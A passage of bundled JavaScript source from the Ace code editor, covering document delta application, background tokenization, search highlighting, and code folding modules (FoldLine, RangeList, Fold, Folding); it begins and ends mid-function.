this.revertDelta(deltas[i]);
}
};
this.applyDelta = function(delta, doNotValidate) {
var isInsert = delta.action == "insert";
if (isInsert ? delta.lines.length <= 1 && !delta.lines[0]
: !Range.comparePoints(delta.start, delta.end)) {
return;
}
if (isInsert && delta.lines.length > 20000)
this.$splitAndapplyLargeDelta(delta, 20000);
applyDelta(this.$lines, delta, doNotValidate);
this._signal("change", delta);
};
this.$splitAndapplyLargeDelta = function(delta, MAX) {
var lines = delta.lines;
var l = lines.length;
var row = delta.start.row;
var column = delta.start.column;
var from = 0, to = 0;
do {
from = to;
to += MAX - 1;
var chunk = lines.slice(from, to);
if (to > l) {
delta.lines = chunk;
delta.start.row = row + from;
delta.start.column = column;
break;
}
chunk.push("");
this.applyDelta({
start: this.pos(row + from, column),
end: this.pos(row + to, column = 0),
action: delta.action,
lines: chunk
}, true);
} while(true);
};
this.revertDelta = function(delta) {
this.applyDelta({
start: this.clonePos(delta.start),
end: this.clonePos(delta.end),
action: (delta.action == "insert" ? "remove" : "insert"),
lines: delta.lines.slice()
});
};
this.indexToPosition = function(index, startRow) {
var lines = this.$lines || this.getAllLines();
var newlineLength = this.getNewLineCharacter().length;
for (var i = startRow || 0, l = lines.length; i < l; i++) {
index -= lines[i].length + newlineLength;
if (index < 0)
return {row: i, column: index + lines[i].length + newlineLength};
}
return {row: l-1, column: lines[l-1].length};
};
this.positionToIndex = function(pos, startRow) {
var lines = this.$lines || this.getAllLines();
var newlineLength = this.getNewLineCharacter().length;
var index = 0;
var row = Math.min(pos.row, lines.length);
for (var i = startRow || 0; i < row; ++i)
index += lines[i].length + newlineLength;
return index + pos.column;
};
}).call(Document.prototype);
exports.Document = Document;
});
ace.define("ace/background_tokenizer",["require","exports","module","ace/lib/oop","ace/lib/event_emitter"], function(require, exports, module) {
"use strict";
var oop = require("./lib/oop");
var EventEmitter = require("./lib/event_emitter").EventEmitter;
var BackgroundTokenizer = function(tokenizer, editor) {
this.running = false;
this.lines = [];
this.states = [];
this.currentLine = 0;
this.tokenizer = tokenizer;
var self = this;
this.$worker = function() {
if (!self.running) { return; }
var workerStart = new Date();
var currentLine = self.currentLine;
var endLine = -1;
var doc = self.doc;
var startLine = currentLine;
while (self.lines[currentLine])
currentLine++;
var len = doc.getLength();
var processedLines = 0;
self.running = false;
while (currentLine < len) {
self.$tokenizeRow(currentLine);
endLine = currentLine;
do {
currentLine++;
} while (self.lines[currentLine]);
processedLines ++;
if ((processedLines % 5 === 0) && (new Date() - workerStart) > 20) {
self.running = setTimeout(self.$worker, 20);
break;
}
}
self.currentLine = currentLine;
if (endLine == -1)
endLine = currentLine;
if (startLine <= endLine)
self.fireUpdateEvent(startLine, endLine);
};
};
(function(){
oop.implement(this, EventEmitter);
this.setTokenizer = function(tokenizer) {
this.tokenizer = tokenizer;
this.lines = [];
this.states = [];
this.start(0);
};
this.setDocument = function(doc) {
this.doc = doc;
this.lines = [];
this.states = [];
this.stop();
};
this.fireUpdateEvent = function(firstRow, lastRow) {
var data = {
first: firstRow,
last: lastRow
};
this._signal("update", {data: data});
};
this.start = function(startRow) {
this.currentLine = Math.min(startRow || 0, this.currentLine, this.doc.getLength());
this.lines.splice(this.currentLine, this.lines.length);
this.states.splice(this.currentLine, this.states.length);
this.stop();
this.running = setTimeout(this.$worker, 700);
};
this.scheduleStart = function() {
if (!this.running)
this.running = setTimeout(this.$worker, 700);
};
this.$updateOnChange = function(delta) {
var startRow = delta.start.row;
var len = delta.end.row - startRow;
if (len === 0) {
this.lines[startRow] = null;
} else if (delta.action == "remove") {
this.lines.splice(startRow, len + 1, null);
this.states.splice(startRow, len + 1, null);
} else {
var args = Array(len + 1);
args.unshift(startRow, 1);
this.lines.splice.apply(this.lines, args);
this.states.splice.apply(this.states, args);
}
this.currentLine = Math.min(startRow, this.currentLine, this.doc.getLength());
this.stop();
};
this.stop = function() {
if (this.running)
clearTimeout(this.running);
this.running = false;
};
this.getTokens = function(row) {
return this.lines[row] || this.$tokenizeRow(row);
};
this.getState = function(row) {
if (this.currentLine == row)
this.$tokenizeRow(row);
return this.states[row] || "start";
};
this.$tokenizeRow = function(row) {
var line = this.doc.getLine(row);
var state = this.states[row - 1];
var data = this.tokenizer.getLineTokens(line, state, row);
if (this.states[row] + "" !== data.state + "") {
this.states[row] = data.state;
this.lines[row + 1] = null;
if (this.currentLine > row + 1)
this.currentLine = row + 1;
} else if (this.currentLine == row) {
this.currentLine = row + 1;
}
return this.lines[row] = data.tokens;
};
}).call(BackgroundTokenizer.prototype);
exports.BackgroundTokenizer = BackgroundTokenizer;
});
ace.define("ace/search_highlight",["require","exports","module","ace/lib/lang","ace/lib/oop","ace/range"], function(require, exports, module) {
"use strict";
var lang = require("./lib/lang");
var oop = require("./lib/oop");
var Range = require("./range").Range;
var SearchHighlight = function(regExp, clazz, type) {
this.setRegexp(regExp);
this.clazz = clazz;
this.type = type || "text";
};
(function() {
this.MAX_RANGES = 500;
this.setRegexp = function(regExp) {
if (this.regExp+"" == regExp+"")
return;
this.regExp = regExp;
this.cache = [];
};
this.update = function(html, markerLayer, session, config) {
if (!this.regExp)
return;
var start = config.firstRow, end = config.lastRow;
for (var i = start; i <= end; i++) {
var ranges = this.cache[i];
if (ranges == null) {
ranges = lang.getMatchOffsets(session.getLine(i), this.regExp);
if (ranges.length > this.MAX_RANGES)
ranges = ranges.slice(0, this.MAX_RANGES);
ranges = ranges.map(function(match) {
return new Range(i, match.offset, i, match.offset + match.length);
});
this.cache[i] = ranges.length ? ranges : "";
}
for (var j = ranges.length; j --; ) {
markerLayer.drawSingleLineMarker(
html, ranges[j].toScreenRange(session), this.clazz, config);
}
}
};
}).call(SearchHighlight.prototype);
exports.SearchHighlight = SearchHighlight;
});
ace.define("ace/edit_session/fold_line",["require","exports","module","ace/range"], function(require, exports, module) {
"use strict";
var Range = require("../range").Range;
function FoldLine(foldData, folds) {
this.foldData = foldData;
if (Array.isArray(folds)) {
this.folds = folds;
} else {
folds = this.folds = [ folds ];
}
var last = folds[folds.length - 1];
this.range = new Range(folds[0].start.row, folds[0].start.column,
last.end.row, last.end.column);
this.start = this.range.start;
this.end = this.range.end;
this.folds.forEach(function(fold) {
fold.setFoldLine(this);
}, this);
}
(function() {
this.shiftRow = function(shift) {
this.start.row += shift;
this.end.row += shift;
this.folds.forEach(function(fold) {
fold.start.row += shift;
fold.end.row += shift;
});
};
this.addFold = function(fold) {
if (fold.sameRow) {
if (fold.start.row < this.startRow || fold.endRow > this.endRow) {
throw new Error("Can't add a fold to this FoldLine as it has no connection");
}
this.folds.push(fold);
this.folds.sort(function(a, b) {
return -a.range.compareEnd(b.start.row, b.start.column);
});
if (this.range.compareEnd(fold.start.row, fold.start.column) > 0) {
this.end.row = fold.end.row;
this.end.column = fold.end.column;
} else if (this.range.compareStart(fold.end.row, fold.end.column) < 0) {
this.start.row = fold.start.row;
this.start.column = fold.start.column;
}
} else if (fold.start.row == this.end.row) {
this.folds.push(fold);
this.end.row = fold.end.row;
this.end.column = fold.end.column;
} else if (fold.end.row == this.start.row) {
this.folds.unshift(fold);
this.start.row = fold.start.row;
this.start.column = fold.start.column;
} else {
throw new Error("Trying to add fold to FoldRow that doesn't have a matching row");
}
fold.foldLine = this;
};
this.containsRow = function(row) {
return row >= this.start.row && row <= this.end.row;
};
this.walk = function(callback, endRow, endColumn) {
var lastEnd = 0,
folds = this.folds,
fold,
cmp, stop, isNewRow = true;
if (endRow == null) {
endRow = this.end.row;
endColumn = this.end.column;
}
for (var i = 0; i < folds.length; i++) {
fold = folds[i];
cmp = fold.range.compareStart(endRow, endColumn);
if (cmp == -1) {
callback(null, endRow, endColumn, lastEnd, isNewRow);
return;
}
stop = callback(null, fold.start.row, fold.start.column, lastEnd, isNewRow);
stop = !stop && callback(fold.placeholder, fold.start.row, fold.start.column, lastEnd);
if (stop || cmp === 0) {
return;
}
isNewRow = !fold.sameRow;
lastEnd = fold.end.column;
}
callback(null, endRow, endColumn, lastEnd, isNewRow);
};
this.getNextFoldTo = function(row, column) {
var fold, cmp;
for (var i = 0; i < this.folds.length; i++) {
fold = this.folds[i];
cmp = fold.range.compareEnd(row, column);
if (cmp == -1) {
return {
fold: fold,
kind: "after"
};
} else if (cmp === 0) {
return {
fold: fold,
kind: "inside"
};
}
}
return null;
};
this.addRemoveChars = function(row, column, len) {
var ret = this.getNextFoldTo(row, column),
fold, folds;
if (ret) {
fold = ret.fold;
if (ret.kind == "inside"
&& fold.start.column != column
&& fold.start.row != row)
{
window.console && window.console.log(row, column, fold);
} else if (fold.start.row == row) {
folds = this.folds;
var i = folds.indexOf(fold);
if (i === 0) {
this.start.column += len;
}
for (i; i < folds.length; i++) {
fold = folds[i];
fold.start.column += len;
if (!fold.sameRow) {
return;
}
fold.end.column += len;
}
this.end.column += len;
}
}
};
this.split = function(row, column) {
var pos = this.getNextFoldTo(row, column);
if (!pos || pos.kind == "inside")
return null;
var fold = pos.fold;
var folds = this.folds;
var foldData = this.foldData;
var i = folds.indexOf(fold);
var foldBefore = folds[i - 1];
this.end.row = foldBefore.end.row;
this.end.column = foldBefore.end.column;
folds = folds.splice(i, folds.length - i);
var newFoldLine = new FoldLine(foldData, folds);
foldData.splice(foldData.indexOf(this) + 1, 0, newFoldLine);
return newFoldLine;
};
this.merge = function(foldLineNext) {
var folds = foldLineNext.folds;
for (var i = 0; i < folds.length; i++) {
this.addFold(folds[i]);
}
var foldData = this.foldData;
foldData.splice(foldData.indexOf(foldLineNext), 1);
};
this.toString = function() {
var ret = [this.range.toString() + ": [" ];
this.folds.forEach(function(fold) {
ret.push(" " + fold.toString());
});
ret.push("]");
return ret.join("\n");
};
this.idxToPosition = function(idx) {
var lastFoldEndColumn = 0;
for (var i = 0; i < this.folds.length; i++) {
var fold = this.folds[i];
idx -= fold.start.column - lastFoldEndColumn;
if (idx < 0) {
return {
row: fold.start.row,
column: fold.start.column + idx
};
}
idx -= fold.placeholder.length;
if (idx < 0) {
return fold.start;
}
lastFoldEndColumn = fold.end.column;
}
return {
row: this.end.row,
column: this.end.column + idx
};
};
}).call(FoldLine.prototype);
exports.FoldLine = FoldLine;
});
ace.define("ace/range_list",["require","exports","module","ace/range"], function(require, exports, module) {
"use strict";
var Range = require("./range").Range;
var comparePoints = Range.comparePoints;
var RangeList = function() {
this.ranges = [];
};
(function() {
this.comparePoints = comparePoints;
this.pointIndex = function(pos, excludeEdges, startIndex) {
var list = this.ranges;
for (var i = startIndex || 0; i < list.length; i++) {
var range = list[i];
var cmpEnd = comparePoints(pos, range.end);
if (cmpEnd > 0)
continue;
var cmpStart = comparePoints(pos, range.start);
if (cmpEnd === 0)
return excludeEdges && cmpStart !== 0 ? -i-2 : i;
if (cmpStart > 0 || (cmpStart === 0 && !excludeEdges))
return i;
return -i-1;
}
return -i - 1;
};
this.add = function(range) {
var excludeEdges = !range.isEmpty();
var startIndex = this.pointIndex(range.start, excludeEdges);
if (startIndex < 0)
startIndex = -startIndex - 1;
var endIndex = this.pointIndex(range.end, excludeEdges, startIndex);
if (endIndex < 0)
endIndex = -endIndex - 1;
else
endIndex++;
return this.ranges.splice(startIndex, endIndex - startIndex, range);
};
this.addList = function(list) {
var removed = [];
for (var i = list.length; i--; ) {
removed.push.apply(removed, this.add(list[i]));
}
return removed;
};
this.substractPoint = function(pos) {
var i = this.pointIndex(pos);
if (i >= 0)
return this.ranges.splice(i, 1);
};
this.merge = function() {
var removed = [];
var list = this.ranges;
list = list.sort(function(a, b) {
return comparePoints(a.start, b.start);
});
var next = list[0], range;
for (var i = 1; i < list.length; i++) {
range = next;
next = list[i];
var cmp = comparePoints(range.end, next.start);
if (cmp < 0)
continue;
if (cmp == 0 && !range.isEmpty() && !next.isEmpty())
continue;
if (comparePoints(range.end, next.end) < 0) {
range.end.row = next.end.row;
range.end.column = next.end.column;
}
list.splice(i, 1);
removed.push(next);
next = range;
i--;
}
this.ranges = list;
return removed;
};
this.contains = function(row, column) {
return this.pointIndex({row: row, column: column}) >= 0;
};
this.containsPoint = function(pos) {
return this.pointIndex(pos) >= 0;
};
this.rangeAtPoint = function(pos) {
var i = this.pointIndex(pos);
if (i >= 0)
return this.ranges[i];
};
this.clipRows = function(startRow, endRow) {
var list = this.ranges;
if (list[0].start.row > endRow || list[list.length - 1].start.row < startRow)
return [];
var startIndex = this.pointIndex({row: startRow, column: 0});
if (startIndex < 0)
startIndex = -startIndex - 1;
var endIndex = this.pointIndex({row: endRow, column: 0}, startIndex);
if (endIndex < 0)
endIndex = -endIndex - 1;
var clipped = [];
for (var i = startIndex; i < endIndex; i++) {
clipped.push(list[i]);
}
return clipped;
};
this.removeAll = function() {
return this.ranges.splice(0, this.ranges.length);
};
this.attach = function(session) {
if (this.session)
this.detach();
this.session = session;
this.onChange = this.$onChange.bind(this);
this.session.on('change', this.onChange);
};
this.detach = function() {
if (!this.session)
return;
this.session.removeListener('change', this.onChange);
this.session = null;
};
this.$onChange = function(delta) {
if (delta.action == "insert"){
var start = delta.start;
var end = delta.end;
} else {
var end = delta.start;
var start = delta.end;
}
var startRow = start.row;
var endRow = end.row;
var lineDif = endRow - startRow;
var colDiff = -start.column + end.column;
var ranges = this.ranges;
for (var i = 0, n = ranges.length; i < n; i++) {
var r = ranges[i];
if (r.end.row < startRow)
continue;
if (r.start.row > startRow)
break;
if (r.start.row == startRow && r.start.column >= start.column ) {
if (r.start.column == start.column && this.$insertRight) {
} else {
r.start.column += colDiff;
r.start.row += lineDif;
}
}
if (r.end.row == startRow && r.end.column >= start.column) {
if (r.end.column == start.column && this.$insertRight) {
continue;
}
if (r.end.column == start.column && colDiff > 0 && i < n - 1) {
if (r.end.column > r.start.column && r.end.column == ranges[i+1].start.column)
r.end.column -= colDiff;
}
r.end.column += colDiff;
r.end.row += lineDif;
}
}
if (lineDif != 0 && i < n) {
for (; i < n; i++) {
var r = ranges[i];
r.start.row += lineDif;
r.end.row += lineDif;
}
}
};
}).call(RangeList.prototype);
exports.RangeList = RangeList;
});
ace.define("ace/edit_session/fold",["require","exports","module","ace/range","ace/range_list","ace/lib/oop"], function(require, exports, module) {
"use strict";
var Range = require("../range").Range;
var RangeList = require("../range_list").RangeList;
var oop = require("../lib/oop");
var Fold = exports.Fold = function(range, placeholder) {
this.foldLine = null;
this.placeholder = placeholder;
this.range = range;
this.start = range.start;
this.end = range.end;
this.sameRow = range.start.row == range.end.row;
this.subFolds = this.ranges = [];
};
oop.inherits(Fold, RangeList);
(function() {
this.toString = function() {
return '"' + this.placeholder + '" ' + this.range.toString();
};
this.setFoldLine = function(foldLine) {
this.foldLine = foldLine;
this.subFolds.forEach(function(fold) {
fold.setFoldLine(foldLine);
});
};
this.clone = function() {
var range = this.range.clone();
var fold = new Fold(range, this.placeholder);
this.subFolds.forEach(function(subFold) {
fold.subFolds.push(subFold.clone());
});
fold.collapseChildren = this.collapseChildren;
return fold;
};
this.addSubFold = function(fold) {
if (this.range.isEqual(fold))
return;
if (!this.range.containsRange(fold))
throw new Error("A fold can't intersect already existing fold" + fold.range + this.range);
consumeRange(fold, this.start);
var row = fold.start.row, column = fold.start.column;
for (var i = 0, cmp = -1; i < this.subFolds.length; i++) {
cmp = this.subFolds[i].range.compare(row, column);
if (cmp != 1)
break;
}
var afterStart = this.subFolds[i];
if (cmp == 0)
return afterStart.addSubFold(fold);
var row = fold.range.end.row, column = fold.range.end.column;
for (var j = i, cmp = -1; j < this.subFolds.length; j++) {
cmp = this.subFolds[j].range.compare(row, column);
if (cmp != 1)
break;
}
var afterEnd = this.subFolds[j];
if (cmp == 0)
throw new Error("A fold can't intersect already existing fold" + fold.range + this.range);
var consumedFolds = this.subFolds.splice(i, j - i, fold);
fold.setFoldLine(this.foldLine);
return fold;
};
this.restoreRange = function(range) {
return restoreRange(range, this.start);
};
}).call(Fold.prototype);
function consumePoint(point, anchor) {
point.row -= anchor.row;
if (point.row == 0)
point.column -= anchor.column;
}
function consumeRange(range, anchor) {
consumePoint(range.start, anchor);
consumePoint(range.end, anchor);
}
function restorePoint(point, anchor) {
if (point.row == 0)
point.column += anchor.column;
point.row += anchor.row;
}
function restoreRange(range, anchor) {
restorePoint(range.start, anchor);
restorePoint(range.end, anchor);
}
});
ace.define("ace/edit_session/folding",["require","exports","module","ace/range","ace/edit_session/fold_line","ace/edit_session/fold","ace/token_iterator"], function(require, exports, module) {
"use strict";
var Range = require("../range").Range;
var FoldLine = require("./fold_line").FoldLine;
var Fold = require("./fold").Fold;
var TokenIterator = require("../token_iterator").TokenIterator;
function Folding() {
this.getFoldAt = function(row, column, side) {
var foldLine = this.getFoldLine(row);
if (!foldLine)
return null;
var folds = foldLine.folds;
for (var i = 0; i < folds.length; i++) {
var fold = folds[i];
if (fold.range.contains(row, column)) {
if (side == 1 && fold.range.isEnd(row, column)) {
continue;
} else if (side == -1 && fold.range.isStart(row, column)) {
continue;
}
return fold;
}
}
};
this.getFoldsInRange = function(range) {
var start = range.start;
var end = range.end;
var foldLines = this.$foldData;
var foundFolds = [];
start.column += 1;
end.column -= 1;
for (var i = 0; i < foldLines.length; i++) {
var cmp = foldLines[i].range.compareRange(range);
if (cmp == 2) {
continue;
}
else if (cmp == -2) {
break;
}
var folds = foldLines[i].folds;
for (var j = 0; j < folds.length; j++) {
var fold = folds[j];
cmp = fold.range.compareRange(range);
if (cmp == -2) {
break;
} else if (cmp == 2) {
continue;
} else
if (cmp == 42) {
break;
}
foundFolds.push(fold);
}
}
start.column -= 1;
end.column += 1;
return foundFolds;
};
this.getFoldsInRangeList = function(ranges) {
if (Array.isArray(ranges)) {
var folds = [];
ranges.forEach(function(range) {
folds = folds.concat(this.getFoldsInRange(range));
}, this);
} else {
var folds = this.getFoldsInRange(ranges);
}
return folds;
};
this.getAllFolds = function() {
var folds = [];
var foldLines = this.$foldData;
for (var i = 0; i < foldLines.length; i++)
for (var j = 0; j < foldLines[i].folds.length; j++)
folds.push(foldLines[i].folds[j]);
return folds;
};
this.getFoldStringAt = function(row, column, trim, foldLine) {
foldLine = foldLine || this.getFoldLine(row);
if (!foldLine)
return null;
var lastFold = {
end: { column: 0 }
};
var str, fold;
for (var i = 0; i < foldLine.folds.length; i++) {
fold = foldLine.folds[i];
var cmp = fold.range.compareEnd(row, column);
if (cmp == -1) {
str = this
.getLine(fold.start.row)
.substring(lastFold.end.column, fold.start.column);
break;
}
else if (cmp === 0) {
return null;
}
lastFold = fold;
}
if (!str)
str = this.getLine(fold.start.row).substring(lastFold.end.column);
if (trim == -1)
return str.substring(0, column - lastFold.end.column);
else if (trim == 1)
return str.substring(column - lastFold.end.column);
else
return str;
};
this.getFoldLine = function(docRow, startFoldLine) {
var foldData = this.$foldData;
var i = 0;
if (startFoldLine)
i = foldData.indexOf(startFoldLine);
if (i == -1)
i = 0;
for (i; i < foldData.length; i++) {
var foldLine = foldData[i];
if (foldLine.start.row <= docRow && foldLine.end.row >= docRow) {
return foldLine;
} else if (foldLine.end.row > docRow) {
return null;
}
}
return null;
};
this.getNextFoldLine = function(docRow, startFoldLine) {
var foldData = this.$foldData;
var i = 0;
if (startFoldLine)
i = foldData.indexOf(startFoldLine);
if (i == -1)
i = 0;
for (i; i < foldData.length; i++) {
var foldLine = foldData[i];
if (foldLine.end.row >= docRow) {
return foldLine;
}
}
return null;
};
this.getFoldedRowCount = function(first, last) {
var foldData = this.$foldData, rowCount = last-first+1;
for (var i = 0; i < foldData.length; i++) {
var foldLine = foldData[i],
end = foldLine.end.row,
start = foldLine.start.row;
if (end >= last) {
if (start < last) {
if (start >= first)
rowCount -= last-start;
else
rowCount = 0; // in one fold
}
break;
} else if (end >= first){
if (start >= first) // fold inside range
rowCount -= end-start;
else
rowCount -= end-first+1;
}
}
return rowCount;
};
this.$addFoldLine = function(foldLine) {
this.$foldData.push(foldLine);
this.$foldData.sort(function(a, b) {
return a.start.row - b.start.row;
});
return foldLine;
};
this.addFold = function(placeholder, range) {
var foldData = this.$foldData;
var added = false;
var fold;
if (placeholder instanceof Fold)
fold = placeholder;
else {
fold = new Fold(range, placeholder);
fold.collapseChildren = range.collapseChildren;
}
this.$clipRangeToDocument(fold.range);
var startRow = fold.start.row;
var startColumn = fold.start.column;
var endRow = fold.end.row;
var endColumn = fold.end.column;
if (!(startRow < endRow ||
startRow == endRow && startColumn <= endColumn - 2))
throw new Error("The range has to be at least 2 characters width");
var startFold = this.getFoldAt(startRow, startColumn, 1);
var endFold = this.getFoldAt(endRow, endColumn, -1);
if (startFold && endFold == startFold)
return startFold.addSubFold(fold);
if (startFold && !startFold.range.isStart(startRow, startColumn))
this.removeFold(startFold);
if (endFold && !endFold.range.isEnd(endRow, endColumn))
this.removeFold(endFold);
var folds = this.getFoldsInRange(fold.range);
if (folds.length > 0) {
this.removeFolds(folds);
folds.forEach(function(subFold) {
fold.addSubFold(subFold);
});
}
for (var i = 0; i < foldData.length; i++) {
var foldLine = foldData[i];
if (endRow == foldLine.start.row) {
foldLine.addFold(fold);
added = true;
break;
} else if (startRow == foldLine.end.row) {
foldLine.addFold(fold);
added = true;
if (!fold.sameRow) {
var foldLineNext = foldData[i + 1];
if (foldLineNext && foldLineNext.start.row == endRow) {
foldLine.merge(foldLineNext);
break;
}
}
break;
} else if (endRow <= foldLine.start.row) {
break;
}
}
if (!added)
foldLine = this.$addFoldLine(new FoldLine(this.$foldData, fold));
if (this.$useWrapMode)
this.$updateWrapData(foldLine.start.row, foldLine.start.row);
else
this.$updateRowLengthCache(foldLine.start.row, foldLine.start.row);
this.$modified = true;
this._signal("changeFold", { data: fold, action: "add" });
return fold;
};
this.addFolds = function(folds) {
folds.forEach(function(fold) {
this.addFold(fold);
}, this);
};
this.removeFold = function(fold) {
var foldLine = fold.foldLine;
var startRow = foldLine.start.row;
var endRow = foldLine.end.row;
var foldLines = this.$foldData;
var folds = foldLine.folds;
if (folds.length == 1) {
foldLines.splice(foldLines.indexOf(foldLine), 1);
} else
if (foldLine.range.isEnd(fold.end.row, fold.end.column)) {
folds.pop();
foldLine.end.row = folds[folds.length - 1].end.row;
foldLine.end.column = folds[folds.length - 1].end.column;
} else
if (foldLine.range.isStart(fold.start.row, fold.start.column)) {
folds.shift();
foldLine.start.row = folds[0].start.row;
foldLine.start.column = folds[0].start.column;
} else
if (fold.sameRow) {
folds.splice(folds.indexOf(fold), 1);
} else
{
var newFoldLine = foldLine.split(fold.start.row, fold.start.column);
folds = newFoldLine.folds;
folds.shift();
newFoldLine.start.row = folds[0].start.row;
newFoldLine.start.column = folds[0].start.column;
}
if (!this.$updating) {
if (this.$useWrapMode)
this.$updateWrapData(startRow, endRow);
else
this.$updateRowLengthCache(startRow, endRow);
}
this.$modified = true;
this._signal("changeFold", { data: fold, action: "remove" });
};
this.removeFolds = function(folds) {
var cloneFolds = [];
for (var i = 0; i < folds.length; i++) {
cloneFolds.push(folds[i]);
}
cloneFolds.forEach(function(fold) {
this.removeFold(fold);
}, this);
this.$modified = true;
};
this.expandFold = function(fold) {
this.removeFold(fold);
fold.subFolds.forEach(function(subFold) {
fold.restoreRange(subFold);
this.addFold(subFold);
}, this);
if (fold.collapseChildren > 0) {
this.foldAll(fold.start.row+1, fold.end.row, fold.collapseChildren-1);
}
fold.subFolds = [];
};
this.expandFolds = function(folds) {
folds.forEach(function(fold) {
this.expandFold(fold);
}, this);
};
this.unfold = function(location, expandInner) {
var range, folds;
if (location == null) {
range = new Range(0, 0, this.getLength(), 0);
expandInner = true;
} else if (typeof location == "number")
range = new Range(location, 0, location, this.getLine(location).length);
else if ("row" in location)
range = Range.fromPoints(location, location);
else
range = location;
folds = this.getFoldsInRangeList(range);
if (expandInner) {
this.removeFolds(folds);
} else {
var subFolds = folds;
while (subFolds.length) {
this.expandFolds(subFolds);
subFolds = this.getFoldsInRangeList(range);
}
}
if (folds.length)
return folds;
};
this.isRowFolded = function(docRow, startFoldRow) {
return !!this.getFoldLine(docRow, startFoldRow);
};
this.getRowFoldEnd = function(docRow, startFoldRow) {
var foldLine = this.getFoldLine(docRow, startFoldRow);
return foldLine ? foldLine.end.row : docRow;
};
this.getRowFoldStart = function(docRow, startFoldRow) {
var foldLine = this.getFoldLine(docRow, startFoldRow);
return foldLine ? foldLine.start.row : docRow;
};
this.getFoldDisplayLine = function(foldLine, endRow, endColumn, startRow, startColumn) {
if (startRow == null)
startRow = foldLine.start.row;
if (startColumn == null)
startColumn = 0;
if (endRow == null)
endRow = foldLine.end.row;
if (endColumn == null)
endColumn = this.getLine(endRow).length;
var doc = this.doc;
var textLine = "";
foldLine.walk(function(placeholder, row, column, lastColumn) {
if (row < startRow)
return;
if (row == startRow) {
if (column < startColumn)
return;
lastColumn = Math.max(startColumn, lastColumn);
}
if (placeholder != null) {
textLine += placeholder;
} else {
textLine += doc.getLine(row).substring(lastColumn, column);
}
}, endRow, endColumn);
return textLine;
};
this.getDisplayLine = function(row, endColumn, startRow, startColumn) {
var foldLine = this.getFoldLine(row);
if (!foldLine) {
var line;
line = this.doc.getLine(row);
return line.substring(startColumn || 0, endColumn || line.length);
} else {
return this.getFoldDisplayLine(
foldLine, row, endColumn, startRow, startColumn);
}
};
this.$cloneFoldData = function() {
var fd = [];
fd = this.$foldData.map(function(foldLine) {
var folds = foldLine.folds.map(function(fold) {
return fold.clone();
});
return new FoldLine(fd, folds);
});
return fd;
};
this.toggleFold = function(tryToUnfold) {
var selection = this.selection;
var range = selection.getRange();
var fold;
var bracketPos;
if (range.isEmpty()) {
var cursor = range.start;
fold = this.getFoldAt(cursor.row, cursor.column);
if (fold) {
this.expandFold(fold);
return;
} else if (bracketPos = this.findMatchingBracket(cursor)) {
if (range.comparePoint(bracketPos) == 1) {
range.end = bracketPos;
} else {
range.start = bracketPos;
range.start.column++;
range.end.column--;
}
} else if (bracketPos = this.findMatchingBracket({row: cursor.row, column: cursor.column + 1})) {
if (range.comparePoint(bracketPos) == 1)
range.end = bracketPos;
else
range.start = bracketPos;
range.start.column++;
} else {
range = this.getCommentFoldRange(cursor.row, cursor.column) || range;
}
} else {
var folds = this.getFoldsInRange(range);
if (tryToUnfold && folds.length) {
this.expandFolds(folds);
return;
} else if (folds.length == 1 ) {
fold = folds[0];
}
}
if (!fold)
fold = this.getFoldAt(range.start.row, range.start.column);
if (fold && fold.range.toString() == range.toString()) {
this.expandFold(fold);
return;
}
var placeholder = "...";
if (!range.isMultiLine()) {
placeholder = this.getTextRange(range);
if (placeholder.length < 4)
return;
placeholder = placeholder.trim().substring(0, 2) + "..";
}
this.addFold(placeholder, range);
};
this.getCommentFoldRange = function(row, column, dir) {
var iterator = new TokenIterator(this, row, column);
var token = iterator.getCurrentToken();
var type = token.type;
if (token && /^comment|string/.test(type)) {
type = type.match(/comment|string/)[0];
if (type == "comment")
type += "|doc-start";
var re = new RegExp(type);
var range = new Range();
if (dir != 1) {
do {
token = iterator.stepBackward();
} while (token && re.test(token.type));
iterator.stepForward();
}
range.start.row = iterator.getCurrentTokenRow();
range.start.column = iterator.getCurrentTokenColumn() + 2;
iterator = new TokenIterator(this, row, column);
if (dir != -1) {
var lastRow = -1;
do {
token = iterator.stepForward();
if (lastRow == -1) {
var state = this.getState(iterator.$row);
if (!re.test(state))
lastRow = iterator.$row;
} else if (iterator.$row > lastRow) {
break;
}
} while (token && re.test(token.type));
token = iterator.stepBackward();
} else
token = iterator.getCurrentToken();
range.end.row = iterator.getCurrentTokenRow();
range.end.column = iterator.getCurrentTokenColumn() + token.value.length - 2;
return range;
}
};
this.foldAll = function(startRow, endRow, depth) {
if (depth == undefined)
depth = 100000; // JSON.stringify doesn't hanle Infinity
var foldWidgets = this.foldWidgets;
if (!foldWidgets)
return; // mode doesn't support folding
endRow = endRow || this.getLength();
startRow = startRow || 0;
for (var row = startRow; row < endRow; row++) {
if (foldWidgets[row] == null)
foldWidgets[row] = this.getFoldWidget(row);
if (foldWidgets[row] != "start")
continue;
var range = this.getFoldWidgetRange(row);
if (range && range.isMultiLine()
&& range.end.row <= endRow
&& range.start.row >= startRow
) {
row = range.end.row;
try {
var fold = this.addFold("...", range);
if (fold)
fold.collapseChildren = depth;
} catch(e) {}
}
}
};
this.$foldStyles = {
"manual": 1,
"markbegin": 1,
"markbeginend": 1
};
this.$foldStyle = "markbegin";
this.setFoldStyle = function(style) {
if (!this.$foldStyles[style])
throw new Error("invalid fold style: " + style + "[" + Object.keys(this.$foldStyles).join(", ") + "]");
if (this.$foldStyle == style)
return;
this.$foldStyle = style;
if (style == "manual")
this.unfold();
var mode = this.$foldMode;
this.$setFolding(null);
this.$setFolding(mode);
};
this.$setFolding = function(foldMode) {
if (this.$foldMode == foldMode)
return;
this.$foldMode = foldMode;
this.off('change', this.$updateFoldWidgets);
this.off('tokenizerUpdate', this.$tokenizerUpdateFoldWidgets);
this._signal("changeAnnotation");
if (!foldMode || this.$foldStyle == "manual") {
this.foldWidgets = null;
return;
}
this.foldWidgets = [];
this.getFoldWidget = foldMode.getFoldWidget.bind(foldMode, this, this.$foldStyle);
this.getFoldWidgetRange = foldMode.getFoldWidgetRange.bind(foldMode, this, this.$foldStyle);
this.$updateFoldWidgets = this.updateFoldWidgets.bind(this);
this.$tokenizerUpdateFoldWidgets = this.tokenizerUpdateFoldWidgets.bind(this);
this.on('change', this.$updateFoldWidgets);
this.on('tokenizerUpdate', this.$tokenizerUpdateFoldWidgets);
};
this.getParentFoldRangeData = function (row, ignoreCurrent) {
var fw = this.foldWidgets;
if (!fw || (ignoreCurrent && fw[row]))
return {};
var i = row - 1, firstRange;
while (i >= 0) {
var c = fw[i];
if (c == null)
c = fw[i] = this.getFoldWidget(i);
if (c == "start") {
var range = this.getFoldWidgetRange(i);
if (!firstRange)
firstRange = range;
if (range && range.end.row >= row)
break;
}
i--;
}
return {
